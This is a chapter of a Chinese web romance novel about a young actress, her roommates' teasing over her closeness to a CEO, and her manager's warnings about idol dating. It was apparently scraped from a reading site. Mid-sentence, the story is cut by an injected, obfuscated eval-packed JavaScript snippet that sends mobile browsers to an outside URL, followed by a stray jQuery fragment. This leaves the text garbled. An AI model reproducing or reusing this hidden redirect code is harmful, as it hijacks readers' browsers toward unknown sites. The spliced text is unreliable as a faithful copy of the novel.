被正主戳穿的女同学丝毫不慌,反而觉得茶茶更有“女鹅感”了,她笑嘻嘻说:“我真是妈粉!只是好奇你和程总什么进展,都怪你俩太好磕!”
女同学走后,两个室友才凑上前。
小田贼兮兮地冲果茶使了个眼色:“我就说很多人磕你和程总吧?就节目里程总看你那个眼神……啧,绝对不简单。”
果茶正要说话。
对方捂住耳朵,“不听不听,你肯定又要说他只是你的哥哥,不会对你有别的想法……”
果茶和萌萌互看一眼,哑然失笑。
“不过说真的,要不是因为了解你,我真的会以为你在绿茶发言。”萌萌一时感叹。
刚和茶茶成为室友时,她们都不太敢主动攀谈。毕竟她是个小出圈的明星,也不知道镜头里心慈面软的她,是否只是一种伪装。
但经过几日相处,她们才发现茶茶真的既直球又钝感力十足,她对任何人都不吝啬夸赞和爱意,但对感情又有种天然的迟钝。
以至于她根本没意识到学校那些主动和她搭讪的男人都是馋她的身子!
听到萌萌的话,小田激动放下手,“是吧是吧?!哪有人那么甜地喊异性哥哥?我恨不得暗鲨所有男的,当然……嗯程总和祝余这种优质男除外。”
茶茶一知半解,“不能叫异性为哥哥吗?”
“也不是不能,”萌萌想了一下,用最通俗易懂的方式解释,“一般女生叫男生哥哥只有两种情况,一是亲哥哥,二是情哥哥,其他的一律判做绿茶行为。”
小田摊开手,阴阳怪气地演示绿茶发言:“giegie,我这样叫你,你女朋友不会生气吧~”
果茶被她逗笑了,若有所思道:“那我以后不叫程司屿哥哥了……”
!!!
小田震惊,那不行!她可是“寄屿爱茶人”CP超话的隐藏元老,她绝不允许自己的CP被她亲手拆了!
“啊……也、也不是这个意思,”小田攥住茶茶的手腕,生怕她想岔了,“你又没有男朋友,程总也没有女朋友,你俩属于相互试探的暧昧期,叫哥哥撩撩他也是正常的。”
果茶叹了口气,无力解释他们并不是“暧昧期”。
萌萌读懂了她的无声辩解,从这几天旁敲侧击地打探来看,茶茶似乎确实对程总没有男女之情,或者说……她还没有开窍。
“那茶茶有喜欢的人吗?不是亲情和友情,是爱情,”萌萌试探性问。
三人已走到食堂,坐在靠窗的餐桌旁。
果茶撑着下巴,似乎不太理解这个词的深层含义,“这几种喜欢有什么不同吗?”
“当然!”
提起恋爱话题,萌萌眼睛都亮了,“因一个男人的靠近而心跳加速,他生病了会心疼怜惜,和他在一起时每时每刻都很放松自在,如果几天不见还会觉得想念……”
“你对一个不喜欢,或者没那么喜欢的异性,肯定不会有这种反应吧?”
果茶默默看了眼手机屏幕。
程司屿在十分钟前刚给她发了一条消息:“茶茶,今天周五,回家吗?崽崽也想你了。”
而她的回复是……
“我也很想你和崽崽。”
心猛得一跳。
原来这样的表达是容易引起误解的,原来萌萌说的那么多情绪只有在“喜欢的人”面前才会有,而这种喜欢不是出于亲情或友情。
而是爱情。
果茶沉思着扒了一口饭。
这些反应她好像面对程司屿时都曾有过,甚至在海滩那一晚,她还跟程司屿说过,自己并不会对别的男人那么亲近。
可她喜欢程司屿吗?而且……程司屿喜欢她吗?
“你和程总综艺录制结束后,现在还有联系吗?”
果茶点点头,“偶尔聊几句。”
她不敢说刚刚程总还喊她回家。
CP有后续!有戏!小田面上一喜,笑得嘴都合不拢了,她拿出破釜沉舟的气势问:“如果程总追你,你会答应吗?”
果茶被惊得呛到了,她抽出纸巾捂住嘴,声音闷闷的,“他没有追我……”
“如果!我是说如果!你设想一下嘛。”
果茶想象不出来程司屿从“司屿哥哥”变成“男朋友”后的场景,总感觉哪里怪怪的。
但……好像也不讨厌。
见茶茶许久不说话,萌萌以为她不想聊这么私密的话题,于是贴心地圆了场子,“哎呀不说这个了,程总自己都没有追人的表示,为啥要让我们茶茶自寻苦恼?”
小田闻言也忿忿不平道:“有道理!虽然磕cp但我永远都会被提纯到女方这边!让他不主动!通通发卖!狠狠支持我们茶茶一次性谈个十七八个帅哥……”
两人叽叽喳喳谈起其他八卦。
果茶静静听着,满脑子却都在想:司屿哥哥对她那么好,他知道他的行为也是“绿茶撩人的手段”吗?
嗯……他应该和自己一样,在感情上比较迟钝,不然也不能一把年纪了还是“单身狗”。
那要不要提醒他,他们之间的相处模式是不正常的?
*
上完最后一节课,果茶去了趟公司。
董成把综艺录制至今的艺人宣传工作总结给了她一份,“涨粉效果显著,口碑稳定在上游。”
看着文件上各平台的涨粉情况及热搜评论关键词词云,果茶才惊觉她比自己想象中还要火。
不怪她对自己没有明确的认知。
因为怕她没过艺人适应期、在网上乱发言,也怕她被网络恶评中伤,这些天一直是董成在帮茶茶管理社交平台账号。
“现在你可以把账号拿走了,多发生活自拍宠粉,多和粉丝互动增加粘性。”
董成说完又赶紧补了一句,“但发博之前必须让我或者小彤检查一遍,另外不要用公号在网上冲浪,更不要
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14418761|151040||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手滑点赞什么发言……”
果茶直点头。
一登进微博,铺天盖地的点赞、评论和私信喷涌而出,吓得她赶紧摁熄屏幕。
做好心理准备后,她再次点进去,才发现入目基本是粉丝清一色的彩虹屁。
“吓死了!还以为我被网暴了……”果茶嘟囔一句,随手滑动起来。
“出息,”董成好笑地瞥了她一眼,开始对接接下来的工作安排。
“趁着热度,后续宣传要跟上。近期有个音乐类选秀节目邀约,其实挺适合你,养成系最大的好处就是曝光持久、粉丝体量大且忠诚度高,但有个劣势……”
一抬眸,只见茶茶眼巴巴地看着他,湿漉漉的小鹿眼眨呀眨。
董成咽下嘴边的话,纵容地叹了口气,“说。”
她兴冲冲举起手机,指了指上面的评论,“他们的评论好有趣,我可以回复吗?”
董成做出了最错误的一个决定,就是让社交恐怖分子茶茶回复粉丝评论。
这小话痨跟关了三个月的网瘾少女刚连上网线似的,整整回复了半个小时。
还能怎么办,自己的小女儿只能宠着呗。
好在茶茶最终意识到了还有工作在身,边回复网上的评论,边问:“什么劣势?”
董成静默一瞬,屈指叩了叩桌面,示意她认真听他接下来的话。
“选秀出道后有个不成文的潜规则,”董成盯着茶茶的眼睛,正颜厉色道,“在转型成功之前,爱豆谈恋爱是要被砍头的。”
“啪嗒”一声,手机滑落在桌上。
果茶胡乱抓在手中,咽了咽口水,“真、真的被砍头啊?”
董成笑了一声,“只是一种夸张的比喻,意思是粉丝不接受爱豆谈恋爱,至少明面上不允许。”
以茶茶目前可操作的资源来说,她完全可以不以选秀的爱豆身份出道,但董成有私心在。
既然茶茶现在是他手下带的最后一个艺人,他就要对她的前途负责,他不想人们提起茶茶时全都是“百搭cp体质”的印象。
更何况……他不知道程司屿是否是茶茶的最终归宿,也不知道他的热情能持续多久。万一哪天他将爱意转移到别的女孩身上,让自己再去带别的新人,届时茶茶该如何在吃人不吐骨头的圈内混下去?
他要让茶茶有独立自处的能力,培养出最忠实的粉丝,而不是靠程司屿砸钱砸出来的虚幻热度。
想到这里,董成神色自若地试探:“茶茶和程总没谈恋爱吧?”
又来了!
本来她此前从未多心,可在这么多人的旁敲侧击下,果茶都开始怀疑自己是不是已经和程司屿有什么“不可告人的关系”了。
莫名心虚。
“没、没有!”
她慌乱地移开视线,捞起手机。
“没有就好。谈恋爱之前一定要先跟我报备……”董成正说着,只见茶茶缓缓抬起头,哭丧着一张皱巴巴的小脸。
“董叔,我好像……闯祸了……”
她把手机屏幕朝向董成,结结巴巴地说:“不、不知道什么时候,这里、多了一个赞。”
董成定睛一看,是一条黑粉的微博。
【综艺都播完了,小糊咖就别蹭商界大佬了好吗?你看人程总现在还搭理她吗?连她微博都没关注还组cp,女方粉丝脸真大,到时候被程氏集团最强法务部告了就老实了】
视线下移。
【酸酸甜甜的果茶V】觉得很赞。